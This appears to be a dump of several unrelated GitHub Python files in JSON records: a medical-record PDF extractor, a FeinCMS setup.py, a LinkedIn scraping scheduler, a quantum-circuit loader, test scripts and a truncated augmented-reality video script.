extracted_txt:\n x_diagnosis = re.search(\"(?<=Diagnosis:)(.*)(?=Investigation results:)\", extracted_txt, re.DOTALL)\n # elif \"Symptoms:\" in extracted_txt and \"Notes:\" in extracted_txt:\n # x_symptoms = re.search(\"(?<=Symptoms:)(.*)(?=Notes:)\", extracted_txt, re.DOTALL)\n if x_diagnosis:\n comordibity_found = ''\n extracted_diagnosis = x_diagnosis.group()\n for comordibity in list_comorbidities:\n if comordibity in extracted_diagnosis:\n extracted_diagnosis = extracted_diagnosis.replace(comordibity, '')\n comordibity_found += comordibity\n tmp_dict['Diagnosis'] = extracted_diagnosis\n tmp_dict['comorbidity'] = comordibity_found\n # print(tmp_dict['Diagnosis'])\n x_medical_history = None\n if \"Medical History:\" in extracted_txt and \"Diagnosis:\" in extracted_txt:\n x_medical_history = re.search(\"(?<=Medical History:)(.*)(?=Diagnosis:)\", extracted_txt, re.DOTALL)\n # elif \"Symptoms:\" in extracted_txt and \"Notes:\" in extracted_txt:\n # x_symptoms = re.search(\"(?<=Symptoms:)(.*)(?=Notes:)\", extracted_txt, re.DOTALL)\n if x_medical_history:\n extracted_medical_history = x_medical_history.group()\n tmp_dict['Medical History'] = extracted_medical_history\n # print(tmp_dict['Medical History'])\n x_medical_problems = None\n if \"Medical Problems:\" in extracted_txt and \"Significant history:\" in extracted_txt:\n x_medical_problems= re.search(\"(?<=Medical Problems:)(.*)(?=Significant history:)\", extracted_txt, re.DOTALL)\n # elif \"Symptoms:\" in extracted_txt and \"Notes:\" in extracted_txt:\n # x_symptoms = re.search(\"(?<=Symptoms:)(.*)(?=Notes:)\", extracted_txt, re.DOTALL)\n if x_medical_problems:\n extracted_medical_problems = x_medical_problems.group()\n tmp_dict['Medical Problems'] = extracted_medical_problems\n x_significant_history = None\n if \"Significant history:\" in extracted_txt and \"Diagnosis:\" in extracted_txt:\n x_significant_history = re.search(\"(?<=Significant history:)(.*)(?=Diagnosis:)\", extracted_txt, re.DOTALL)\n # elif \"Symptoms:\" in extracted_txt and \"Notes:\" in extracted_txt:\n # x_symptoms = re.search(\"(?<=Symptoms:)(.*)(?=Notes:)\", extracted_txt, re.DOTALL)\n if x_significant_history:\n extracted_significant_history = x_significant_history.group()\n tmp_dict['Significant History'] = extracted_significant_history\n matched_tablets = re.findall(\"Tablet (\\w+)\", extracted_txt)\n tablets = \"\\n\".join(matched_tablets)\n print(tablets)\n tmp_dict['tablets'] = tablets\n\n tmp_dict.pop('On', None)\n tmp_dict.pop('INR', None)\n tmp_dict.pop('Test', None)\n tmp_dict.pop('Inj', None)\n tmp_dict.pop('Dec', None) \n tmp_dict.pop('Has', None)\n return tmp_dict \n\n\ndef extract_using_type1(txt, filename):\n tmp_dict = {\"file\":filename}\n if any(x in txt[400:].lower() for x in ['admission', 'hospitalisation']): #for discarding admission in notes sections\n tmp_dict[\"admission\"] = 1 #true \n copy_admission_file(filename)\n else:\n tmp_dict[\"admission\"] = 0\n # print(txt)\n ''' extracting patient details'''\n tmp_dict[\"Name\"] = filename.split(\".\")[0]\n if tmp_dict['Name'][-1] in ['1','2','3','4','5','6','7','8','9']:\n tmp_dict['Name'] = tmp_dict['Name'][:-1] \n elif tmp_dict['Name'][-1] in [')']:\n tmp_dict['Name'] = tmp_dict['Name'][:-4] \n\n if \"Male\" in txt:\n tmp_dict[\"gender\"] = \"M\"\n else:\n tmp_dict[\"gender\"] = \"F\"\n age = re.findall(\"\\d{1,2}y\", txt)\n if age:\n tmp_dict[\"age\"] = age[0][:-1]\n date = re.findall(\"\\d{2}-\\d{2}-\\d{4}\", txt)\n if date:\n tmp_dict[\"date\"] = date[0]\n office_id = re.search(\"(?<=ID No.\\s)(\\d{4})\", txt)\n if office_id:\n tmp_dict[\"office_id\"] = office_id.group()\n # print(tmp_dict)\n '''extracting notes and test reports if mentioned in notes'''\n if \"Investigations:\" in txt:\n x = re.search(\"(?<=Notes:)(.*)(?=Investigations:)\", txt, re.DOTALL)\n else:\n x = re.search(\"(?<=Notes:)(.*)(?=Rx)\", txt, re.DOTALL)\n if x:\n notes = x.group()\n else:\n return tmp_dict\n # print(notes) \n tmp_dict[\"notes\"] = notes\n '''replacing 2 numbers by adding . between then'''\n two_nos = re.findall(\"\\d+[ ,]\\d+\", notes)\n for two_no in two_nos:\n notes = notes.replace(two_no, \".\".join(re.split(\" |,\", two_no)))\n # print(notes)\n matched_txt = re.findall(\"(([a-zA-Z]+\\s+){1,3}[0-9.%\\/0-9]+\\s(gm\\/dL|gm\\/dl|mg\\/dl|mg\\/dL|fl|fL|\\/ul|\\/uL|mmHg|Cms|million\\/ul|million\\/uL|mm\\/hr|units\\/L|mmHg|Cms.|Kg.|pg|%|kg\\/m2|mmol\\/L){0,1})\", notes, re.DOTALL)\n if not matched_txt:\n print(filename)\n probable_test_name_values = notes.split(',')\n for item in probable_test_name_values:\n if '-' in item:\n values = item.split('-')\n if len(values) == 2:\n notes = notes.replace(item, '')\n tmp_dict[values[0].upper().strip()] = values[1]\n for mtxt in matched_txt: \n # print(mtxt[0])\n notes = notes.replace(mtxt[0], '')\n single_test = mtxt[0].split()\n if len(single_test) >= 3:\n if len(single_test) == 4 and \"Packed Cell Volume\" in mtxt[0]:\n tmp_dict[\" \".join(single_test[:-1]).upper().strip()] = single_test[-1].replace(\"%\",'')\n else:\n tmp_dict[\" \".join(single_test[:-2]).upper().strip()] = single_test[-2]\n \n matched_tests_2nd = re.findall(\"([a-zA-Z :]+-[0-9.]+)\", notes, re.DOTALL) #, Sugar Fasting-107.0 Sugar PP-78.0,, Calcium-8.85 SGOT-12,,,,,,, A:G Ratio-2.0 (05-05-20)\n for item in matched_tests_2nd:\n values = item.split('-')\n if len(values) == 2:\n notes = notes.replace(item, '')\n tmp_dict[values[0].upper().strip()] = values[1]\n\n\n tmp_dict[\"notes\"] = notes\n matched_tablets = re.findall(\"TAB (\\w+)\", txt)\n tablets = \"\\n\".join(matched_tablets)\n # print(tablets)\n tmp_dict['tablets'] = tablets\n x_reason = None\n if \"Reason for Visit:\" in txt and \"Notes:\" in txt:\n x_reason = re.search(\"(?<=Reason for Visit:)(.*)(?=Notes:)\", txt, re.DOTALL)\n if x_reason:\n extracted_reason = x_reason.group()\n tmp_dict['Reason for Visit'] = extracted_reason\n\n comordibity_found = ''\n for comordibity in list_comorbidities:\n if comordibity in extracted_reason or comordibity.lower() in extracted_reason:\n # extracted_diagnosis = extracted_diagnosis.replace(comordibity, '')\n comordibity_found += comordibity\n # tmp_dict['Diagnosis'] = extracted_diagnosis\n tmp_dict['comorbidity'] = comordibity_found \n return tmp_dict\ndef create_csv(matched_files):\n type = 5\n if type == 5:\n extracted_entities_by_page = []\n dir_processed_txt = [\"C:\\\\Users\\\\prati\\\\Downloads\\\\patients from 9th August 2019 txt\", \"C:\\\\Users\\\\prati\\\\Downloads\\\\p2_txt\", \"C:\\\\Users\\\\prati\\\\Downloads\\\\p3_txt\"]\n for dir in dir_processed_txt:\n Util().delete_duplcate_files(dir)\n for filename in os.listdir(dir):\n if filename.endswith(\".txt\") and filename[:-4] in matched_files:# and filename == \"swapan kumar chowdhury1.pdf.txt\": \n with open(os.path.join(dir,filename), 'r', errors='ignore') as fl:\n txt = fl.read() \n txt = pre_process(txt) \n if \"Office ID\" in txt:\n tmp_dict = extract_using_type2_office_id(txt, filename, dir)\n else:\n tmp_dict = extract_using_type1(txt, filename)\n #adding tablets binary col\n if \"tablets\" in tmp_dict:\n for item in TOP_TABLETS:\n if item in tmp_dict['tablets']:\n tmp_dict[\"TAB_\"+item] = 1\n if \"comorbidity\" in tmp_dict: \n for item in list_comorbidities:\n if item in tmp_dict['comorbidity']:\n tmp_dict[item] = 1 \n tmp_dict.pop('ACID', None)\n tmp_dict.pop('ADMISSION AND DISCHARGE DATE', None)\n tmp_dict.pop('RATIO', None)\n tmp_dict.pop('TOTAL', None)\n tmp_dict.pop('tablets', None) \n tmp_dict.pop('comorbidity', None) \n tmp_dict.pop('HAS', None) \n extracted_entities_by_page.append(tmp_dict)\n # print(extracted_entities_by_page)\n # print(\"-\"*100)\n df = pd.DataFrame(extracted_entities_by_page) \n df = df.drop('PROTHROMBIN', 1)\n print(len(df.columns))\n print(df.columns)\n df['ALKALINE PHOSPHATASE'].fillna(df.ALP, inplace=True)\n df['FASTING BLOOD GLUCOSE'].fillna(df.FBS, inplace=True)\n df['FASTING BLOOD GLUCOSE'].fillna(df['SUGAR (F)'], inplace=True)\n df['FASTING BLOOD GLUCOSE'].fillna(df['SUGAR(F)'], inplace=True)\n df['BLOOD GLUCOSE PP'].fillna(df['PPBS'], inplace=True)\n df['BLOOD GLUCOSE PP'].fillna(df['SUGAR(PP)'], inplace=True)\n df['TOTAL PROTEIN'].fillna(df.PROTEIN, inplace=True)\n df['TOTAL PROTEIN'].fillna(df['TOTAL PROTEINS'], inplace=True)\n df['TOTAL PROTEIN'].fillna(df['TP'], inplace=True)\n df.PLATELET.fillna(df['PLATELET COUNT'], inplace=True)\n df.PLATELET.fillna(df['PLT'], inplace=True)\n df['PACKED CELL VOLUME'].fillna(df.PCV, inplace=True)\n df.RBC.fillna(df['RBC COUNT'], inplace=True)\n df.GLOBULIN.fillna(df.GLB, inplace=True)\n df.ALBUMIN.fillna(df.ALB, inplace=True)\n df.HEMOGLOBIN.fillna(df.HB, inplace=True)\n df['ABSOLUTE LYMPHOCYTE COUNT'].fillna(df.ALC, inplace=True)\n df['ABSOLUTE NEUTROPHIL COUNT'].fillna(df.ANC, inplace=True)\n df['CALCIUM'].fillna(df['S CALCIUM'], inplace=True)\n df['CREATININE'].fillna(df['SERUM CREATININE'], inplace=True)\n\n # df['FASTING BLOOD GLUCOSE'].str.cat(df['FBS']).str.cat(df['SUGAR(F)']).str.cat(df['SUGAR (F)'])\n # df.CREATININE.fillna(df.creatinine, inplace=True)\n df.drop(['ALP', 'FBS', 'PLATELET COUNT', 'PCV', 'RBC COUNT', 'GLB', 'ALB', 'HB', 'PLT', 'SUGAR (F)', 'SUGAR(F)', 'PPBS', 'SUGAR(PP)', 'PROTEIN', 'TOTAL PROTEINS', \\\n 'TP','SERUM CREATININE', 'S CALCIUM', 'ANC', 'ALC'], axis=1, inplace=True)\n \n # print(df.columns)\n df = df.dropna(thresh=df.shape[0]*0.02,how='all',axis='columns')\n print(len(df.columns))\n print(df.columns)\n # df['date'] = pd.to_datetime(df['date'])#, format=\"%d/%m/%Y\")\n # df = df.drop_duplicates(subset=['date', 'office_id'], keep='first').sort_values([ \"Name\"])#, 'date'])\n df = df.sort_values([ \"Name\"])#, 'date'])\n # df = df.sort_index(axis=1)\n df.to_excel(\"C:\\\\Users\\\\prati\\\\Downloads\\\\patient_data_may18_v2.xlsx\", encoding='utf-8', index=False)\n # all_tablets = \" \".join(df['tablets'].str.cat(sep=' ').split('\\n')).lower().split()\n # print(all_tablets)\n # from collections import Counter\n # print(Counter(all_tablets))\nif __name__ == \"__main__\": \n df_myeloma = read_myeloma_excel()\n matched_files = find_matched_files(df_myeloma)\n create_csv(matched_files)\n","repo_name":"pratips/healthai","sub_path":"pdfselection.py","file_name":"pdfselection.py","file_ext":"py","file_size_in_byte":19841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30047071922","text":"from setuptools import setup, find_packages\nfrom feincms_grid import __version__ as version\nimport os\n\nREADME = os.path.join(os.path.dirname(__file__), 'README')\n\nwith open(README) as fobj:\n long_description = fobj.read()\n\nsetup(name=\"feincms-grid\",\n version=version,\n description=\"Integrate Foundation columns with FeinCMS contenttypes\",\n long_description=long_description,\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Topic :: Software Development',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n ],\n keywords='django feincms foundation framework columns grid',\n author='Joshua Jonah',\n author_email='joshuajonahcom@gmail.com',\n url='http://github.com/joshuajonah/feincms_grid',\n license='BSD',\n packages=find_packages(),\n install_requires=['Django>=1.7', 'FeinCMS>=1.10.1'],\n include_package_data=True,\n zip_safe=False\n)","repo_name":"joshuajonah/feincms_grid","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"19698408055","text":"import scheduler\nimport account\nimport storage\nimport spider\nimport selenium\nimport multiprocessing\nimport logging\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.remote.remote_connection import LOGGER\nfrom urllib3.connectionpool import log\nfrom scheduler import __config__\n\n\n__url_cache_name__ = 'linkedin_cache2'\n\ndef get_elasticsearch():\n es = __config__['es']\n return {\n 'hosts': es['host'],\n 'ports': es['port'],\n 'scheme': es['scheme'],\n 'user': es['user'],\n 'password': es['password']\n }\n\n\nclass AccountCache(account.AccountManager):\n def __init__(self, group, engine):\n self._cache = storage.AccountStorage(engine=engine)\n self._group = group\n\n def get(self):\n account = self._cache.get(self.group)\n return {\n 'account': account.u_account,\n 'password': account.u_password\n } if account else None\n\n def invalid(self, account):\n self._cache.push(self.group, account, stat=2)\n\n\nclass UrlCache(spider.Cache):\n\n def __init__(self, group, engine) -> None:\n self._engine = engine\n self._cahce = storage.UrlStorage(self._engine)\n self._group = group\n\n def push(self, value):\n self._cahce.push(group=self._group, **value)\n\n def pop(self):\n data = self._cahce.get(self._group)\n return data[0].u_target if data else None\n\n\nclass LinkedinAdapter(spider.LinkedinAdapter):\n\n def __init__(self, es, *args, **kwargs):\n self._cache = spider.ElasticCache(__url_cache_name__, elastic=es)\n self._account = spider.LinkedAccount(**es)\n self._storage = spider.ElasticStorage(**es)\n\n def get_account(self):\n return self._account\n\n def get_driver(self):\n LOGGER.setLevel(logging.ERROR)\n log.setLevel(logging.ERROR)\n chrome_options = webdriver.ChromeOptions()\n chrome_options.add_experimental_option('w3c', False)\n return webdriver.Chrome(options=chrome_options)\n # return selenium.webdriver.Remote(command_executor=\"http://172.16.2.129:4444/wd/hub\",\n # options=chrome_options)\n\n def get_cache(self):\n return self._cache\n\n def get_storage(self):\n return self._storage\n\n\nclass LinkedinService(scheduler.RemoteService):\n def __init__(self):\n self._adapter = LinkedinAdapter(get_elasticsearch())\n\n def crawl(self, url):\n with spider.Linkedin(url, self._adapter) as linked:\n log = linked.start()\n return scheduler.make_response(log.target, code=log.code)\n\n\nclass InvokeListener(scheduler.RemoteInvokeListener):\n\n\n def on_start(self):\n return super().on_start()\n\n def on_stop(self):\n return super().on_stop()\n\n def on_invoke(self, request, connector):\n return super().on_invoke(request, connector)\n\n def on_invoke_finish(self, resp):\n return super().on_invoke_finish(resp)\n\n # def on_have(self, server):\n # self._cache.push(server.host, server.port, stat=1)\n\n # def on_full(self, server):\n # self._cache.push(server.host, server.port, stat=2)\n\n\nclass LinkedinTask(scheduler.Task, scheduler.DispatchListener):\n\n def __init__(self, *args, **kwargs):\n # 本地存储\n self._local = spider.LocalCache('linkedin', __config__.get('cache_name', '.cache/cache.json'))\n self._cache = spider.ElasticCache(__config__.get('es_cache_name', __url_cache_name__), elastic=get_elasticsearch())\n self._url = None\n self.count = 0\n self._reset_local()\n\n def _reset_local(self):\n while self._local.size() > 0:\n self._cache.push(self._local.pop())\n\n def retry(self, task: scheduler.Request):\n url = task.kwargs.get('url')\n logging.info('retry task: {}'.format(url))\n self._cache.push({'url': url})\n\n def has_task(self):\n self._url = None\n while True:\n try:\n self._url = self._cache.pop()\n if self._url:\n self._url = self._url['url']\n self._local.push({'url': self._url})\n break\n except Exception as e:\n logging.debug(\"get task error\", exc_info=e)\n time.sleep(5)\n return self._url is not None\n\n def next_task(self):\n return scheduler.make_request(\n cls_name=LinkedinService.__name__,\n method_name=LinkedinService.crawl.__name__,\n timeout=10 * 60,\n url=self._url\n )\n\n def error(self, wrapper:scheduler.TaskWrapper,*args, **kwargs):\n request = wrapper.get()\n url = request.kwargs['url']\n logging.info(\"Linkedin handler error: {}\".format(url))\n self._cache.push({\n 'url': url\n }, 'failure')\n \n def success(self, resp, request: scheduler.TaskWrapper, *args, **kwargs):\n url = request.get().kwargs['url']\n try:\n logging.info('Linkedin handler success: {}'.format(url))\n self._local.remove({\n \"url\": url\n })\n except Exception as e:\n logging.debug('Linkedin handler error', exc_info=e)\n self._cache.push({'url': url}, 'success')\n","repo_name":"editso/apider","sub_path":"task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":5260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30535645934","text":"if __name__ == '__main__':\n import os\n import torch\n import numpy as np\n from options import TestOption\n from pipeline import CustomDataset\n from networks import Generator\n from utils import Manager, binning_and_cal_pixel_cc\n from torch.utils.data import DataLoader\n from tqdm import tqdm\n\n ITERATION = 470000\n STD = 0\n #abcsafdasdf\n\n MODEL_NAME = 'pix2pix'\n torch.backends.cudnn.benchmark = True\n\n dir_input = './datasets/Over_{}_std/Test/Input'.format(str(STD))\n dir_target = './datasets/Over_{}_std/Test/Target'.format(str(STD))\n dir_model = './checkpoints/Over_{}_std/Model/{}'.format(str(STD), MODEL_NAME)\n path_model = './checkpoints/Over_{}_std/Model/{}/{}_G.pt'.format(str(STD), MODEL_NAME, str(ITERATION))\n\n dir_image_save = './checkpoints/Over_{}_std/Image/Test/{}/{}'.format(str(STD), MODEL_NAME, str(ITERATION))\n os.makedirs(dir_image_save, exist_ok=True)\n\n opt = TestOption().parse()\n os.environ['CUDA_VISIBLE_DEVICES'] = str(opt.gpu_ids)\n device = torch.device('cuda:0')\n\n dataset = CustomDataset(opt)\n test_data_loader = DataLoader(dataset, batch_size=1, num_workers=2, shuffle=False)\n\n G = Generator(opt).to(device)\n G.load_state_dict(torch.load(path_model))\n\n manager = Manager(opt)\n\n list_TUMF_fake = list()\n list_TUMF_real = list()\n\n list_cc_1x1_fake = list()\n list_cc_1x1_real = list()\n list_cc_1x1 = list()\n list_cc_bin_2x2 = list()\n list_cc_bin_4x4 = list()\n list_cc_bin_8x8 = list()\n list_R1 = list()\n list_R2 = list()\n\n circle_index = list()\n k = 0\n for i in range(1024):\n for j in range(1024):\n if (i - 511) ** 2 + (j - 511) ** 2 <= 392 ** 2:\n circle_index.append(k)\n k += 1\n with torch.no_grad():\n G.eval()\n for input, target, _, name in tqdm(test_data_loader):\n input = input.to(device)\n fake = G(input)\n manager.save_image(fake, path=os.path.join(dir_image_save, name[0] + '_fake.png'))\n manager.save_image(target, path=os.path.join(dir_image_save, name[0] + '_real.png'))\n\n # # Model measurements\n # np_fake = fake.cpu().numpy().squeeze() * 100.\n # np_real = target.cpu().numpy().squeeze() * 100.\n # np_fake_flatten, np_real_flatten = np_fake.flatten(), np_real.flatten()\n # # rearrange [-100, 100]\n # carrier_fake, carrier_real = list(), list()\n #\n # for i in circle_index:\n # list_cc_1x1_fake.append(np_fake_flatten[i])\n # list_cc_1x1_real.append(np_real_flatten[i])\n # if abs(np_fake_flatten[i]) >= 10.:\n # carrier_fake.append(abs(np_fake_flatten[i]))\n # if abs(np_real_flatten[i]) >= 10.:\n # carrier_real.append(abs(np_real_flatten[i]))\n #\n # TUMF_fake, TUMF_real = np.array(carrier_fake).sum(), np.array(carrier_real).sum()\n # list_TUMF_fake.append(TUMF_fake)\n # list_TUMF_real.append(TUMF_real)\n # list_R1.append((TUMF_fake - TUMF_real) / TUMF_real)\n #\n # list_cc_1x1.append(np.corrcoef(list_cc_1x1_fake, list_cc_1x1_real)[0][1])\n # list_R2.append(((np.array(list_cc_1x1_fake) - np.array(list_cc_1x1_real)) ** 2).sum() / (\n # np.array(list_cc_1x1_real) ** 2).sum())\n #\n # # list_cc_bin_2x2.append(binning_and_cal_pixel_cc(np_fake, np_real, 2))\n # # list_cc_bin_4x4.append(binning_and_cal_pixel_cc(np_fake, np_real, 4))\n # list_cc_bin_8x8.append(binning_and_cal_pixel_cc(np_fake, np_real, 8))\n #\n # del input, target, fake, np_fake, np_real, np_fake_flatten, np_real_flatten, carrier_fake, carrier_real\n # del TUMF_fake, TUMF_real, _, name\n #\n # cc_TUMF = np.corrcoef(list_TUMF_fake, list_TUMF_real)[0][1]\n # cc_1x1 = np.mean(list_cc_1x1)\n # # cc_bin_2x2 = np.mean(list_cc_bin_2x2)\n # # cc_bin_4x4 = np.mean(list_cc_bin_4x4)\n # cc_bin_8x8 = np.mean(list_cc_bin_8x8)\n #\n # R1_mean = np.mean(list_R1)\n # R1_std = np.std(list_R1)\n #\n # R2_mean = np.mean(list_R2)\n # R2_std = np.std(list_R2)\n #\n # with open(os.path.join(dir_image_save, 'Analysis.txt'), 'wt') as analysis:\n # analysis.write(str(ITERATION) + ', ' + str(cc_TUMF) + ', ' + str(cc_1x1) + ', ' +\n # # str(cc_bin_2x2) + ', ' + str(cc_bin_4x4) + ', ' +\n # str(cc_bin_8x8) + ', ' +\n # str(R1_mean) + ', ' + str(R1_std) + ', ' + str(R2_mean) + ', ' + str(R2_std) + '\\n')\n # analysis.close()\n","repo_name":"NoelShin/Ca2Mag","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23801351987","text":"from PyQt5 import QtWidgets\nfrom pysat.spectral.baseline_code.als import ALS\n\nfrom point_spectra_gui.ui.ALS import Ui_Form\nfrom point_spectra_gui.util.BasicFunctionality import Basics\n\n\nclass Ui_Form(Ui_Form, Basics):\n def setupUi(self, Form):\n super().setupUi(Form)\n Basics.setupUi(self, Form)\n\n def get_widget(self):\n return self.groupbox\n\n def setHidden(self, bool):\n self.get_widget().setHidden(bool)\n\n def connectWidgets(self):\n als = ALS()\n\n self.asymmetryDoubleSpinBox.setDecimals(2)\n self.smoothnessDoubleSpinBox.setMaximum(10000000)\n self.convergenceThresholdDoubleSpinBox.setDecimals(6)\n\n self.asymmetryDoubleSpinBox.setValue(als.asymmetry_)\n self.smoothnessDoubleSpinBox.setValue(als.smoothness_)\n self.maxNumOfIterationsSpinBox.setValue(als.max_iters_)\n self.convergenceThresholdDoubleSpinBox.setValue(als.conv_thresh_)\n\n def function(self):\n methodParameters = {'asymmetry_': float(self.asymmetryDoubleSpinBox.value()),\n 'smoothness_': float(self.smoothnessDoubleSpinBox.value()),\n 'max_iters_': int(self.maxNumOfIterationsSpinBox.value()),\n 'conv_thresh_': float(self.convergenceThresholdDoubleSpinBox.value())}\n return methodParameters\n\n\nif __name__ == \"__main__\":\n import sys\n\n app = QtWidgets.QApplication(sys.argv)\n Form = QtWidgets.QWidget()\n ui = Ui_Form()\n ui.setupUi(Form)\n Form.show()\n sys.exit(app.exec_())\n","repo_name":"tisaconundrum2/PySAT-GUI","sub_path":"point_spectra_gui/core/baselineRemovalMethods/ALS.py","file_name":"ALS.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"24819654102","text":"#!/usr/local/bin/python3\nimport unittest\nimport numpy as np\n\nfrom egenerator.data.modules.filters.dummy import DummyFilterModule\n\n\nclass TestDummyFilterModule(unittest.TestCase):\n\n \"\"\"Test dummy filter module.\n \"\"\"\n\n def test_member_variables(self):\n \"\"\"Test if member variables have correct values.\n \"\"\"\n dummy_module = DummyFilterModule()\n self.assertEqual(dummy_module.data, None)\n self.assertEqual(dummy_module.is_configured, False)\n self.assertEqual(dummy_module.configuration, None)\n self.assertEqual(dummy_module.untracked_data, {})\n self.assertEqual(dummy_module.sub_components, {})\n\n def test_configuration_data_type_check(self):\n dummy_module = DummyFilterModule()\n\n # check that dummy filter module does not care what it gets passed\n dummy_module.configure(config_data=4)\n\n # check that it does not get configured twice\n with self.assertRaises(ValueError) as context:\n dummy_module.configure(config_data=None)\n self.assertTrue('Component is already configured!'\n in str(context.exception))\n\n def test_dummy_filter_method(self):\n \"\"\"Test the dummy filter method\n \"\"\"\n dummy_module = DummyFilterModule()\n dummy_module.configure(config_data=None)\n mask = dummy_module.get_event_filter_mask_from_hdf(\n None, 'tensors', 42, 1337)\n self.assertEqual(np.sum(mask), 42)\n self.assertEqual(len(mask), 42)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"icecube/event-generator","sub_path":"test/data/modules/filters/test_dummy_filter.py","file_name":"test_dummy_filter.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"10998089779","text":"# write-html.py\nimport webbrowser\n\nf = open('Homepage','w')\n\nmessage = \"\"\" \n\n

This is Jennifer's homepage

\n\"\"\"\n\nf.write(message)\nf.close()\n\nfilename = 'file:///Users/caigen100/百度云同步盘/PythonPractice/project%201/Homepage'\nwebbrowser.open_new_tab(filename)","repo_name":"JenniferWang/PythonPractice","sub_path":"project_1/write_html.py","file_name":"write_html.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20023793140","text":"\nfrom qiskit.wrapper import load_qasm_file\nfrom qiskit import QISKitError, available_backends, execute\nfrom qiskit import QuantumCircuit, ClassicalRegister, QuantumRegister\nfrom qiskit import register\nimport sys\nsys.path.append('../')\nfrom account.Qconfig import *\n\nif len(sys.argv) < 2:\n print (\"ONE ARGUMENT IS REQUIRED -> use --help\")\n quit()\n\nif sys.argv[1] == \"--help\" or sys.argv[1] == \"-h\":\n print (\"load_qasm_matrix ->\\n\" +\n \" load the qassembler code in fileName and execute in the real quantum computer IBM-Q of 5 qubits from IBM\\n\" +\n \" OPTIONAL use an exact number of shots in the computer (1024 default)\")\n quit()\n\ntry:\n\n if len(sys.argv) > 2:\n shots = sys.argv[2]\n else:\n shots = 1024\n\n QX_TOKEN = APItoken\n QX_URL = config['url']\n\n register(QX_TOKEN, QX_URL)\n\n print('\\033[93m' + \"\\nConnecting with Quantum Computer... It could take a moment\\n\" + '\\033[0m')\n\n qc = load_qasm_file(sys.argv[1])\n\n job_exp = execute(qc, 'ibmqx4', shots=shots, max_credits=10)\n sim_result = job_exp.result()\n realValues = sim_result.get_counts(qc)\n\n print(realValues)\n\nexcept QISKitError as ex:\n print (\"EXCEPCION Error = {}\".format(ex))\n \n","repo_name":"jpUhryn/Quantum-Circuit-Matricial-Design-Algorithm","sub_path":"loadAsm/load_real_qasm.py","file_name":"load_real_qasm.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31323670604","text":"import numpy as np\nimport cv2\n#Import necessary functions\nfrom matchPics import matchPics\nfrom planarH import computeH_ransac, compositeH\nfrom helper import plotMatches\nfrom loadVid import *\nfrom tqdm import tqdm\nimport multiprocessing\nfrom pathlib import Path\n\n#Write script for Q4.1\ndef cropBlackBar(img):\n # convert to grayscale\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n # invert gray image\n gray = 255 - gray\n # gaussian blur\n blur = cv2.GaussianBlur(gray, (3,3), 0)\n # threshold\n res = cv2.threshold(blur, 235, 255, cv2.THRESH_BINARY)[1]\n # use morphology to fill holes at the boundaries\n kernel = np.ones((5,5), np.uint8)\n res = cv2.morphologyEx(res, cv2.MORPH_CLOSE, kernel)\n res = cv2.morphologyEx(res, cv2.MORPH_OPEN, kernel)\n # invert back\n res = 255 - res\n # get contours and get bounding rectangle\n contours, _ = cv2.findContours(res, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n x, y, w, h = cv2.boundingRect(contours[0])\n return x, y, w, h\n\ndef homography_warp(args):\n\n # f1 = ar_source[i%ar_source_frames, :, :, :]\n # f2 = book[i, :, :, :]\n # f2 = np.squeeze(f2)\n # ar_source_crop = f1[:, int((ar_source_width-book_width)/2):int((ar_source_width+book_width)/2)]\n ar_source_crop, cv_cover, book= args\n # adjusting ar_source frame\n ar_source_crop = cv2.resize(ar_source_crop, dsize=(cv_cover.shape[1], cv_cover.shape[0]))\n matches, locs1, locs2 = matchPics(cv_cover, book)\n bestH2to1, _ = computeH_ransac(locs1[matches[:, 0]], locs2[matches[:, 1]])\n # plotMatches(prev, curr, matches, locs1, locs2)\n composite_img = compositeH(bestH2to1, ar_source_crop, book)\n # cv2.imshow('f', composite_img)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n # print(\"Frame %s Processed\" % i)\n return composite_img\n\ndef main():\n # ar_source = loadVid('./data/ar_source.mov')\n # book = loadVid('./data/book.mov')\n\n # Read videos using cv2 or from previously saved .npy\n ar_source = Path('ar_source.npy')\n if ar_source.exists():\n ar_source = np.load('ar_source.npy')\n else:\n ar_source = loadVid('./data/ar_source.mov') # 511 frames 360x640\n np.save('ar_source.npy', ar_source)\n book = Path('book.npy')\n if book.exists():\n book = np.load('book.npy')\n else:\n book = loadVid('./data/book.mov') # 641 frames 480x640\n np.save('book.npy', book)\n cv_cover = cv2.imread('./data/cv_cover.jpg')\n # Crop the top & bottom black bar\n frame0 = ar_source[0]\n x, y, w, h = cropBlackBar(frame0)\n frame0 = frame0[y:y+h, x:x+w]\n # Crop left and right: only the central region is used for AR\n H, W = frame0.shape[:2]\n width = cv_cover.shape[1] * H / cv_cover.shape[0]\n wStart, wEnd = np.round([W/2 - width/2, W/2 + width/2]).astype(int)\n frame0 = frame0[:, wStart:wEnd]\n\n # Crop all frames in ar_source\n new_source = np.array([f[y:y+h, x:x+w][:, wStart:wEnd] for f in ar_source])\n # ar_source_frames, ar_source_height, ar_source_width, _ = ar_source.shape\n # book_frames, book_height, book_width, _ = book.shape\n \n # Multiprocess\n args=[]\n for i 